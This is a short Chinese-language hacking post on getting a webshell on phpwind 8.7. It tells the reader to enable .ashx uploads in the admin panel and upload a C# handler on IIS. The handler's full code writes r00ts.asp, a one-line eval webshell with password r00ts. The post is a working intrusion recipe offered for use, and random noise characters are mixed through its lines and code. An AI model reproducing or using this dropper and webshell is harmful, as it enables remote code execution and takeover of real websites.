phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

: @# f" s4 J& k' B群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
7 w7 ~) a0 @& R) L; E
* q) N! a1 ^% J1 b  k# E发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
* ^* w; j. ], p
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
" H; j7 o$ |1 s
' N, p2 @, O8 P1 `5 I; ?! V打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
2 y4 @1 h& I+ B# n5 m
1 P2 h, g0 j2 s% Y; `下面是代码:
) `) C/ R7 J4 @6 l" Z
; s& T# R3 e7 ?8 o6 E1 X- z0 d<%@ WebHandler Language="C#"Class="Handler" %>
using System;
' T% D3 z& R. Z# h* A; f+ I+ D# _using System.Web;
using System.IO;
8 t8 T  F: n) W8 Q# T: i1 l0 Wpublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
4 G  C' `" Y2 A, w% e) MStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
2 e% I  z# S9 v, t3 v) j3 P7 g( l8 Z5 v* cfile1.Close();
}
public bool IsReusable {
5 j3 h( n( }- _  j. A8 mget {
1 c- C7 \8 C* N! l  P; D9 r, a$ Jreturn false;
# o- f/ N1 X  F3 E* M% q( c}
}
}
1 T  B5 U4 }) N